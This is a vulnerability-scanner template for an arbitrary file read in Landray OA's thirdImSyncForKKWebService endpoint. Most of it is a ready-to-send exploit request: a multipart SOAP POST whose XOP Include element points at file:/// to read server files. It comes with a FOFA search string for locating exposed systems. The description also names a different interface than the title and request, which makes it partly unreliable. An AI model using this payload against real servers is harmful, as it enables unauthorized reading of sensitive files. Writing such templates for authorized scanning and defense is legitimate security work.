landray-oa-thirdImSyncForKKWebService-fileread: Landray OA thirdImSyncForKKWebService File Read

id: landray-oa-thirdImSyncForKKWebService-fileread

info:
  name: Landray OA thirdImSyncForKKWebService File Read
  author: ZacharyZcR
  severity: high
  verified: true
  description: |
    Landray EKP System sysFormMainDataInsystemWebservice interface has an arbitrary file read vulnerability.
    FOFA: body="Com_Parameter"
  reference:
    - https://github.com/wy876/POC/blob/main/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEKP%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3sysFormMainDataInsystemWebservice%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  tags: landray,fileread
  created: 2024/12/30

set:
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /sys/webservice/thirdImSyncForKKWebService
      headers:
        Content-Type: multipart/related; boundary=----WebKitFormBoundary{{rboundary}}
        SOAPAction: ""
        Accept-Encoding: gzip, deflate
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="message"; filename="asdadads.aspx"

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.kk.im.third.kmss.landray.com/">
        <soapenv:Header/>
        <soapenv:Body>
        <web:getTodo>
        <arg0>
            <otherCond>1</otherCond>
            <pageNo>1</pageNo> 
            <rowSize>1</rowSize> 
            <targets>1</targets>
            <type><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///"/></type>
        </arg0>
        </web:getTodo>
        </soapenv:Body>
        </soapenv:Envelope>
        ------WebKitFormBoundary{{rboundary}}--
    expression: response.status == 500 && response.body.bcontains(b'Unmarshalling Error')
expression: r0()